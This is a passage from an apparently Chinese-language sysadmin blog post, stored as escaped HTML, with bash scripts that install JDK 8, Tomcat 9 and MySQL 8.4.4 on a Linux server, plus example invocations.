rpm&amp;nbsp;-e&amp;nbsp;--nodeps&amp;nbsp;$(rpm&amp;nbsp;-qa&amp;nbsp;|&amp;nbsp;grep&amp;nbsp;openjdk)&amp;nbsp;2&amp;gt;/dev/null

#&amp;nbsp;安装&amp;nbsp;JDK
echo&amp;nbsp;-e&amp;nbsp;&amp;quot;正在从&amp;nbsp;$JDK_PKG&amp;nbsp;安装&amp;nbsp;JDK&amp;nbsp;8u431...\n&amp;quot;
tar&amp;nbsp;-zxvf&amp;nbsp;&amp;quot;$JDK_PKG&amp;quot;&amp;nbsp;-C&amp;nbsp;/usr/local/
if&amp;nbsp;[&amp;nbsp;$?&amp;nbsp;-ne&amp;nbsp;0&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;解压&amp;nbsp;JDK&amp;nbsp;失败！&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
fi
mv&amp;nbsp;/usr/local/jdk1.8.0_431&amp;nbsp;/usr/local/jdk

#&amp;nbsp;配置环境变量
echo&amp;nbsp;-e&amp;nbsp;&amp;quot;正在配置环境变量...\n&amp;quot;
grep&amp;nbsp;&amp;quot;JAVA_HOME=/usr/local/jdk&amp;quot;&amp;nbsp;/etc/profile&amp;nbsp;&amp;gt;/dev/null
if&amp;nbsp;[&amp;nbsp;$?&amp;nbsp;-ne&amp;nbsp;0&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cat&amp;nbsp;&amp;gt;&amp;gt;/etc/profile&amp;nbsp;&amp;lt;&amp;lt;&amp;nbsp;EOF
export&amp;nbsp;JAVA_HOME=/usr/local/jdk
export&amp;nbsp;PATH=\$JAVA_HOME/bin:\$PATH
export&amp;nbsp;CLASSPATH=.:\$JAVA_HOME/lib/dt.jar:\$JAVA_HOME/lib/tools.jar
EOF
fi

#&amp;nbsp;创建软链接并重新加载配置
ln&amp;nbsp;-sf&amp;nbsp;/usr/local/jdk/bin/java&amp;nbsp;/usr/bin/java
source&amp;nbsp;/etc/profile

#&amp;nbsp;验证安装
java&amp;nbsp;-version
if&amp;nbsp;[&amp;nbsp;$?&amp;nbsp;-ne&amp;nbsp;0&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;JDK&amp;nbsp;安装失败！&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
fi

echo&amp;nbsp;-e&amp;nbsp;&amp;quot;\nJDK&amp;nbsp;安装成功！&amp;quot;
echo&amp;nbsp;&amp;quot;JAVA_HOME:&amp;nbsp;$JAVA_HOME&amp;quot;
echo&amp;nbsp;&amp;quot;Java&amp;nbsp;版本:&amp;nbsp;$(java&amp;nbsp;-version&amp;nbsp;2&amp;gt;&amp;amp;1&amp;nbsp;|&amp;nbsp;head&amp;nbsp;-1)&amp;quot;&lt;/pre&gt;&lt;h4&gt;./jdk_start.sh /data01/anzhuang/jdk-8u431-linux-x64.tar.gz&lt;/h4&gt;&lt;p style=&quot;text-align:center&quot;&gt;&lt;img class=&quot;ue-image&quot; src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505211747811864268808.png&quot; title=&quot;屏幕截图 2025-05-21 151700.png&quot; alt=&quot;屏幕截图 2025-05-21 151700.png&quot;/&gt;&lt;/p&gt;&lt;h3&gt;安装tomcat&lt;br/&gt;&lt;/h3&gt;&lt;p&gt;1、下载tar包，上传tar包&lt;/p&gt;&lt;p&gt;2、运行脚本安装：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;#!/bin/bash
#&amp;nbsp;Author:&amp;nbsp;lyx
#&amp;nbsp;使用范围:&amp;nbsp;适用于已安装&amp;nbsp;JDK&amp;nbsp;8u431&amp;nbsp;并已下载&amp;nbsp;Tomcat&amp;nbsp;tar&amp;nbsp;包
#&amp;nbsp;使用方法:&amp;nbsp;sudo&amp;nbsp;./install_tomcat.sh&amp;nbsp;/path/to/apache-tomcat-x.x.x.tar.gz

#&amp;nbsp;检查是否以&amp;nbsp;root&amp;nbsp;运行
if&amp;nbsp;[&amp;nbsp;&amp;quot;$(id&amp;nbsp;-u)&amp;quot;&amp;nbsp;-ne&amp;nbsp;0&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;错误：请使用&amp;nbsp;root&amp;nbsp;用户或&amp;nbsp;sudo&amp;nbsp;运行此脚本！&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
fi

#&amp;nbsp;检查是否传入&amp;nbsp;Tomcat&amp;nbsp;tar&amp;nbsp;包路径
if&amp;nbsp;[&amp;nbsp;-z&amp;nbsp;&amp;quot;$1&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;用法:&amp;nbsp;$0&amp;nbsp;/path/to/apache-tomcat-x.x.x.tar.gz&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
fi

TOMCAT_TAR_PATH=&amp;quot;$1&amp;quot;
INSTALL_DIR=&amp;quot;/data01/tomcat&amp;quot;

#&amp;nbsp;检查&amp;nbsp;JDK&amp;nbsp;8u431&amp;nbsp;是否安装
echo&amp;nbsp;&amp;quot;检查&amp;nbsp;JDK&amp;nbsp;8u431&amp;nbsp;是否安装...&amp;quot;
JAVA_VERSION=$(java&amp;nbsp;-version&amp;nbsp;2&amp;gt;&amp;amp;1&amp;nbsp;|&amp;nbsp;grep&amp;nbsp;-oP&amp;nbsp;&amp;#39;version&amp;nbsp;&amp;quot;\K1\.8\.0_431&amp;#39;)
if&amp;nbsp;[&amp;nbsp;&amp;quot;$JAVA_VERSION&amp;quot;&amp;nbsp;!=&amp;nbsp;&amp;quot;1.8.0_431&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;错误：未检测到&amp;nbsp;JDK&amp;nbsp;8u431，请先安装！&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
fi
echo&amp;nbsp;&amp;quot;✓&amp;nbsp;JDK&amp;nbsp;8u431&amp;nbsp;已安装。&amp;quot;

#&amp;nbsp;检查&amp;nbsp;Tomcat&amp;nbsp;tar&amp;nbsp;包是否存在
if&amp;nbsp;[&amp;nbsp;!&amp;nbsp;-f&amp;nbsp;&amp;quot;$TOMCAT_TAR_PATH&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;错误：Tomcat&amp;nbsp;tar&amp;nbsp;包不存在:&amp;nbsp;$TOMCAT_TAR_PATH&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
fi

#&amp;nbsp;创建&amp;nbsp;/data01&amp;nbsp;目录（如果不存在）
mkdir&amp;nbsp;-p&amp;nbsp;/data01
cd&amp;nbsp;/data01

#&amp;nbsp;解压&amp;nbsp;Tomcat
echo&amp;nbsp;&amp;quot;解压&amp;nbsp;Tomcat&amp;nbsp;到&amp;nbsp;$INSTALL_DIR...&amp;quot;
rm&amp;nbsp;-rf&amp;nbsp;&amp;quot;$INSTALL_DIR&amp;quot;&amp;nbsp;&amp;nbsp;#&amp;nbsp;如果之前安装过，先删除旧版本
tar&amp;nbsp;-zxvf&amp;nbsp;&amp;quot;$TOMCAT_TAR_PATH&amp;quot;&amp;nbsp;-C&amp;nbsp;/data01
mv&amp;nbsp;&amp;quot;/data01/apache-tomcat-&amp;quot;*&amp;nbsp;&amp;quot;$INSTALL_DIR&amp;quot;

#&amp;nbsp;配置环境变量
echo&amp;nbsp;&amp;quot;配置&amp;nbsp;CATALINA_HOME&amp;nbsp;环境变量...&amp;quot;
if&amp;nbsp;!&amp;nbsp;grep&amp;nbsp;-q&amp;nbsp;&amp;quot;CATALINA_HOME&amp;quot;&amp;nbsp;/etc/profile;&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cat&amp;nbsp;&amp;gt;&amp;gt;&amp;nbsp;/etc/profile&amp;nbsp;&amp;lt;&amp;lt;EOF
export&amp;nbsp;CATALINA_HOME=${INSTALL_DIR}
export&amp;nbsp;PATH=\$CATALINA_HOME/bin:\$PATH
EOF
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;source&amp;nbsp;/etc/profile
fi


#&amp;nbsp;开放防火墙（可选）
if&amp;nbsp;command&amp;nbsp;-v&amp;nbsp;firewall-cmd&amp;nbsp;&amp;amp;&amp;gt;/dev/null;&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;开放防火墙&amp;nbsp;8080&amp;nbsp;端口...&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;firewall-cmd&amp;nbsp;--permanent&amp;nbsp;--add-port=8080/tcp
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;firewall-cmd&amp;nbsp;--reload
fi

#开启&amp;nbsp;Tomcat&amp;nbsp;服务
sh&amp;nbsp;/data01/tomcat/bin/startup.sh

#&amp;nbsp;验证安装
echo&amp;nbsp;&amp;quot;验证&amp;nbsp;Tomcat&amp;nbsp;是否启动...&amp;quot;
sleep&amp;nbsp;5&amp;nbsp;&amp;nbsp;#&amp;nbsp;等待&amp;nbsp;Tomcat&amp;nbsp;启动
if&amp;nbsp;curl&amp;nbsp;-s&amp;nbsp;http://localhost:8080&amp;nbsp;|&amp;nbsp;grep&amp;nbsp;-q&amp;nbsp;&amp;quot;Apache&amp;nbsp;Tomcat&amp;quot;;&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;-e&amp;nbsp;&amp;quot;\n✓&amp;nbsp;Tomcat&amp;nbsp;安装成功！&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;安装目录:&amp;nbsp;$INSTALL_DIR&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;管理命令:&amp;nbsp;systemctl&amp;nbsp;[start|stop|restart|status]&amp;nbsp;tomcat&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;访问地址:&amp;nbsp;http://服务器IP:8080&amp;quot;
else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;错误：Tomcat&amp;nbsp;启动失败，请检查日志:&amp;nbsp;$INSTALL_DIR/logs/catalina.out&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
fi

echo&amp;nbsp;&amp;#39;tomcat启动命令&amp;nbsp;sh&amp;nbsp;/data01/tomcat/bin/startup.sh&amp;#39;
echo&amp;nbsp;&amp;#39;tomcat关闭命令&amp;nbsp;sh&amp;nbsp;/data01/tomcat/bin/shutdown.sh&amp;#39;&lt;/pre&gt;&lt;p&gt;3、运行脚本安装：./tomcat_start.sh /data01/anzhuang/apache-tomcat-9.0.97.tar.gz&lt;/p&gt;&lt;p style=&quot;text-align:center&quot;&gt;&lt;img src=&quot;https://www.yuyuxiang.top/zb_users/upload/2025/05/202505211747812450588707.png&quot; alt=&quot;image.png&quot;/&gt;&lt;/p&gt;&lt;h3&gt;&lt;span style=&quot;font-size:14px;font-family:宋体&quot;&gt;安装mysql服务&lt;/span&gt;&lt;/h3&gt;&lt;p style=&quot;text-wrap: wrap;&quot;&gt;1、下载tar包，上传tar包&lt;/p&gt;&lt;p style=&quot;text-wrap: wrap;&quot;&gt;2、运行脚本安装：&lt;/p&gt;&lt;pre class=&quot;prism-highlight prism-language-bash&quot;&gt;#!/bin/bash
#Description&amp;nbsp;:&amp;nbsp;MySQL8.4.4&amp;nbsp;Install&amp;nbsp;Script&amp;nbsp;（tar双加载）
#Author&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;lyx&amp;nbsp;
#Version&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;:&amp;nbsp;3.0
###&amp;nbsp;颜色定义
RED=&amp;#39;\033[0;31m&amp;#39;
GREEN=&amp;#39;\033[0;32m&amp;#39;
YELLOW=&amp;#39;\033[0;33m&amp;#39;
NC=&amp;#39;\033[0m&amp;#39;&amp;nbsp;#&amp;nbsp;No&amp;nbsp;Color

function&amp;nbsp;MySQL_cnf(){
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cd&amp;nbsp;/root
cat&amp;nbsp;&amp;gt;&amp;nbsp;./my.cnf&amp;nbsp;&amp;lt;&amp;lt;&amp;#39;EOF&amp;#39;
[mysqld]
user&amp;nbsp;=&amp;nbsp;mysql
port&amp;nbsp;=&amp;nbsp;3306
basedir&amp;nbsp;=&amp;nbsp;/home/mysql/mysqlbase/mysql-8.4.4
datadir&amp;nbsp;=&amp;nbsp;/home/mysql/data
socket&amp;nbsp;&amp;nbsp;=&amp;nbsp;/home/mysql/mysqlbase/mysql.sock
pid_file&amp;nbsp;=&amp;nbsp;dms-mysql.pid
skip_name_resolve&amp;nbsp;=&amp;nbsp;1
open_files_limit&amp;nbsp;=&amp;nbsp;65535
default_time_zone&amp;nbsp;=&amp;nbsp;&amp;quot;+8:00&amp;quot;
#character
character-set-server=utf8mb4
collation-server=utf8mb4_general_ci
init-connect=&amp;#39;SET&amp;nbsp;NAMES&amp;nbsp;utf8mb4&amp;#39;
[client]
default-character-set=utf8mb4
port&amp;nbsp;=&amp;nbsp;3306
socket&amp;nbsp;=&amp;nbsp;/home/mysql/mysqlbase/mysql.sock
[mysqldump]
quick
[mysql]
no_auto_rehash
loose-skip-binary-as-hex
EOF
}

function&amp;nbsp;MySQL_User()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;id&amp;nbsp;mysql&amp;nbsp;&amp;gt;/dev/null&amp;nbsp;2&amp;gt;&amp;amp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;&amp;quot;$?&amp;quot;&amp;nbsp;!=&amp;nbsp;&amp;quot;0&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;useradd&amp;nbsp;-s&amp;nbsp;/sbin/nologin&amp;nbsp;mysql&amp;nbsp;&amp;gt;/dev/null&amp;nbsp;2&amp;gt;&amp;amp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
}

function&amp;nbsp;Create_DIR()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DIRECTORY=(&amp;quot;/home/mysql/data&amp;quot;&amp;nbsp;&amp;quot;/home/mysql/mysqlbase&amp;quot;&amp;nbsp;&amp;quot;/home/mysql/mysqllog&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;i&amp;nbsp;in&amp;nbsp;&amp;quot;${DIRECTORY[@]}&amp;quot;;&amp;nbsp;do
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;!&amp;nbsp;-d&amp;nbsp;&amp;quot;${i}&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mkdir&amp;nbsp;-p&amp;nbsp;&amp;quot;${i}&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;done
}

function&amp;nbsp;DOWNLOAD_MYSQL()&amp;nbsp;{

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo_color&amp;nbsp;&amp;quot;$YELLOW&amp;quot;&amp;nbsp;&amp;quot;请选择&amp;nbsp;MySQL&amp;nbsp;tar&amp;nbsp;包获取方式：&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;1)&amp;nbsp;自动下载&amp;nbsp;(wget)&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;2)&amp;nbsp;指定本地&amp;nbsp;tar&amp;nbsp;包路径&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;read&amp;nbsp;-p&amp;nbsp;&amp;quot;请输入选项&amp;nbsp;[1/2]:&amp;nbsp;&amp;quot;&amp;nbsp;choice

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;case&amp;nbsp;&amp;quot;$choice&amp;quot;&amp;nbsp;in
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;Downloading&amp;nbsp;MySQL&amp;nbsp;8.4.4...&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wget&amp;nbsp;https://dev.mysql.com/get/Downloads/MySQL-8.4/mysql-8.4.4-linux-glibc2.28-x86_64.tar.xz&amp;nbsp;-P&amp;nbsp;/root/
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;&amp;quot;$?&amp;quot;&amp;nbsp;!=&amp;nbsp;&amp;quot;0&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;Failed&amp;nbsp;to&amp;nbsp;download&amp;nbsp;MySQL&amp;nbsp;8.4.4.&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;read&amp;nbsp;-p&amp;nbsp;&amp;quot;请输入本地&amp;nbsp;tar&amp;nbsp;包的完整路径:&amp;nbsp;&amp;quot;&amp;nbsp;local_tar
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;-f&amp;nbsp;&amp;quot;$local_tar&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TAR_SOURCE=&amp;quot;$local_tar&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mv&amp;nbsp;$local_tar&amp;nbsp;/root/
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;else
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo_color&amp;nbsp;&amp;quot;$RED&amp;quot;&amp;nbsp;&amp;quot;错误:&amp;nbsp;文件不存在，请检查路径。&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;*)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo_color&amp;nbsp;&amp;quot;$RED&amp;quot;&amp;nbsp;&amp;quot;无效选项，退出脚本。&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;;;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esac
}

function&amp;nbsp;INSTALL()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;chown&amp;nbsp;-R&amp;nbsp;mysql:mysql&amp;nbsp;/home/mysql/{data,mysqlbase,mysqllog}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tar&amp;nbsp;-xvf&amp;nbsp;/root/mysql-8.4.4-linux-glibc2.28-x86_64.tar.xz&amp;nbsp;-C&amp;nbsp;/home/mysql/mysqlbase
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mv&amp;nbsp;/home/mysql/mysqlbase/mysql-8.4.4-linux-glibc2.28-x86_64&amp;nbsp;/home/mysql/mysqlbase/mysql-8.4.4
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;/home/mysql/mysqlbase/mysql-8.4.4/bin/mysqld&amp;nbsp;--initialize&amp;nbsp;--user=mysql&amp;nbsp;--basedir=/home/mysql/mysqlbase/mysql-8.4.4/&amp;nbsp;--datadir=/home/mysql/data/
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;&amp;quot;$?&amp;quot;&amp;nbsp;!=&amp;nbsp;&amp;quot;0&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;echo&amp;nbsp;&amp;quot;An&amp;nbsp;error&amp;nbsp;occurs&amp;nbsp;during&amp;nbsp;the&amp;nbsp;installation&amp;nbsp;of&amp;nbsp;the&amp;nbsp;MySQL&amp;nbsp;Database&amp;nbsp;Service.&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;exit&amp;nbsp;1
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;-f&amp;nbsp;/etc/my.cnf&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rm&amp;nbsp;-rf&amp;nbsp;/etc/my.cnf
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mv&amp;nbsp;/root/my.cnf&amp;nbsp;/etc/
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;-f&amp;nbsp;/etc/init.d/mysqld&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;rm&amp;nbsp;-rf&amp;nbsp;/etc/init.d/mysqld
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;cp&amp;nbsp;/home/mysql/mysqlbase/mysql-8.4.4/support-files/mysql.server&amp;nbsp;/etc/init.d/mysqld
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;!&amp;nbsp;-f&amp;nbsp;/usr/bin/mysql&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ln&amp;nbsp;-s&amp;nbsp;/home/mysql/mysqlbase/mysql-8.4.4/bin/mysql&amp;nbsp;/usr/bin/mysql
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
}

function&amp;nbsp;MYSQL_LOG()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;MYSQL_LOG=(&amp;quot;/home/mysql/mysqllog/error_log&amp;quot;&amp;nbsp;&amp;quot;/home/mysql/mysqllog/mybinlog&amp;quot;)
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;for&amp;nbsp;j&amp;nbsp;in&amp;nbsp;&amp;quot;${MYSQL_LOG[@]}&amp;quot;;&amp;nbsp;do
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;[&amp;nbsp;!&amp;nbsp;-d&amp;nbsp;&amp;quot;${j}&amp;quot;&amp;nbsp;];&amp;nbsp;then
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;mkdir&amp;nbsp;-p&amp;nbsp;&amp;quot;${j}&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;fi
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;done
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;touch&amp;nbsp;/home/mysql/mysqllog/error_log/error.log
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;touch&amp;nbsp;/home/mysql/mysqllog/mysql-slow.log
